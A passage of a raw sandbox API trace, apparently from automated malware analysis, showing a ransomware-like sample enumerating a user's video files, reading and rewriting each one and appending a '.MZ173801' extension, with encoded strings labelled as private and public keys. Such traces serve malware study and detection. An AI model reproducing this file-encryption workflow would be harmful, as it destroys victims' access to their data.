dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.581] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0165.581] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.581] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x5a82 [0165.581] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.581] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x5a82, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x5a82, lpOverlapped=0x0) returned 1 [0165.582] CloseHandle (hObject=0x2f8) returned 1 [0165.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\jjcfaQYy1u4aYRF.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\jjcfaqyy1u4ayrf.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.584] WriteFile (in: hFile=0x2f8, lpBuffer=0x24a6040*, nNumberOfBytesToWrite=0x5a82, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a6040*, lpNumberOfBytesWritten=0x19f758*=0x5a82, lpOverlapped=0x0) returned 1 [0165.585] CloseHandle (hObject=0x2f8) returned 1 [0165.587] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\jjcfaQYy1u4aYRF.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\jjcfaqyy1u4ayrf.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\jjcfaQYy1u4aYRF.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\jjcfaqyy1u4ayrf.flv.mz173801")) returned 1 [0165.588] GetCurrentThreadId () returned 0xab4 [0165.588] GetCurrentThreadId () returned 0xab4 [0165.588] GetCurrentThreadId () returned 0xab4 [0165.588] GetCurrentThreadId () returned 0xab4 [0165.588] GetCurrentThreadId () returned 0xab4 [0165.588] GetCurrentThreadId () returned 0xab4 [0165.588] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695810f0, ftCreationTime.dwHighDateTime=0x1d5e283, ftLastAccessTime.dwLowDateTime=0xf0089f0, ftLastAccessTime.dwHighDateTime=0x1d5e375, ftLastWriteTime.dwLowDateTime=0xf0089f0, ftLastWriteTime.dwHighDateTime=0x1d5e375, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="sqorZLc30 FYq4TE ce9.mkv", cAlternateFileName="SQORZL~1.MKV")) returned 1 [0165.588] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0165.588] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.588] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\sqorZLc30 FYq4TE ce9.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\sqorzlc30 fyq4te ce9.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695810f0, ftCreationTime.dwHighDateTime=0x1d5e283, ftLastAccessTime.dwLowDateTime=0xf0089f0, ftLastAccessTime.dwHighDateTime=0x1d5e375, ftLastWriteTime.dwLowDateTime=0xf0089f0, ftLastWriteTime.dwHighDateTime=0x1d5e375, nFileSizeHigh=0x0, nFileSizeLow=0x22b0)) returned 1 [0165.588] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\sqorZLc30 FYq4TE ce9.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\sqorzlc30 fyq4te ce9.mkv")) returned 0x20 [0165.588] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\sqorZLc30 FYq4TE ce9.mkv", dwFileAttributes=0x80) returned 1 [0165.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0165.592] GetCurrentThreadId () returned 0xab4 [0165.592] GetCurrentThreadId () returned 0xab4 [0165.592] GetCurrentThreadId () returned 0xab4 [0165.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.593] GetCurrentThreadId () returned 0xab4 [0165.593] GetCurrentThreadId () returned 0xab4 [0165.593] GetCurrentThreadId () returned 0xab4 [0165.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\sqorZLc30 FYq4TE ce9.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\sqorzlc30 fyq4te ce9.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.593] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0165.593] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.593] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x22b0 [0165.593] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.593] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x22b0, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x22b0, lpOverlapped=0x0) returned 1 [0165.594] CloseHandle (hObject=0x2f8) returned 1 [0165.595] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\sqorZLc30 FYq4TE ce9.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\sqorzlc30 fyq4te ce9.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.596] WriteFile (in: hFile=0x2f8, lpBuffer=0x24a4040*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a4040*, lpNumberOfBytesWritten=0x19f758*=0x22b0, lpOverlapped=0x0) returned 1 [0165.596] CloseHandle (hObject=0x2f8) returned 1 [0165.598] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\sqorZLc30 FYq4TE ce9.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\sqorzlc30 fyq4te ce9.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\sqorZLc30 FYq4TE ce9.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\sqorzlc30 fyq4te ce9.mkv.mz173801")) returned 1 [0165.598] GetCurrentThreadId () returned 0xab4 [0165.598] GetCurrentThreadId () returned 0xab4 [0165.598] GetCurrentThreadId () returned 0xab4 [0165.598] GetCurrentThreadId () returned 0xab4 [0165.598] GetCurrentThreadId () returned 0xab4 [0165.598] GetCurrentThreadId () returned 0xab4 [0165.598] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9472f5e0, ftCreationTime.dwHighDateTime=0x1d5eb0a, ftLastAccessTime.dwLowDateTime=0xe8db7a50, ftLastAccessTime.dwHighDateTime=0x1d5e270, ftLastWriteTime.dwLowDateTime=0xe8db7a50, ftLastWriteTime.dwHighDateTime=0x1d5e270, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="wmEX", cAlternateFileName="")) returned 1 [0165.598] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22282590, ftCreationTime.dwHighDateTime=0x1d5e174, ftLastAccessTime.dwLowDateTime=0xa4f1fdd0, ftLastAccessTime.dwHighDateTime=0x1d5e155, ftLastWriteTime.dwLowDateTime=0xa4f1fdd0, ftLastWriteTime.dwHighDateTime=0x1d5e155, nFileSizeHigh=0x0, nFileSizeLow=0xd194, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="ZuoadzcT-CGAX7.mp4", cAlternateFileName="ZUOADZ~1.MP4")) returned 1 [0165.598] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0165.599] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.599] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\ZuoadzcT-CGAX7.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\zuoadzct-cgax7.mp4"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22282590, ftCreationTime.dwHighDateTime=0x1d5e174, ftLastAccessTime.dwLowDateTime=0xa4f1fdd0, ftLastAccessTime.dwHighDateTime=0x1d5e155, ftLastWriteTime.dwLowDateTime=0xa4f1fdd0, ftLastWriteTime.dwHighDateTime=0x1d5e155, nFileSizeHigh=0x0, nFileSizeLow=0xd194)) returned 1 [0165.599] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\ZuoadzcT-CGAX7.mp4" 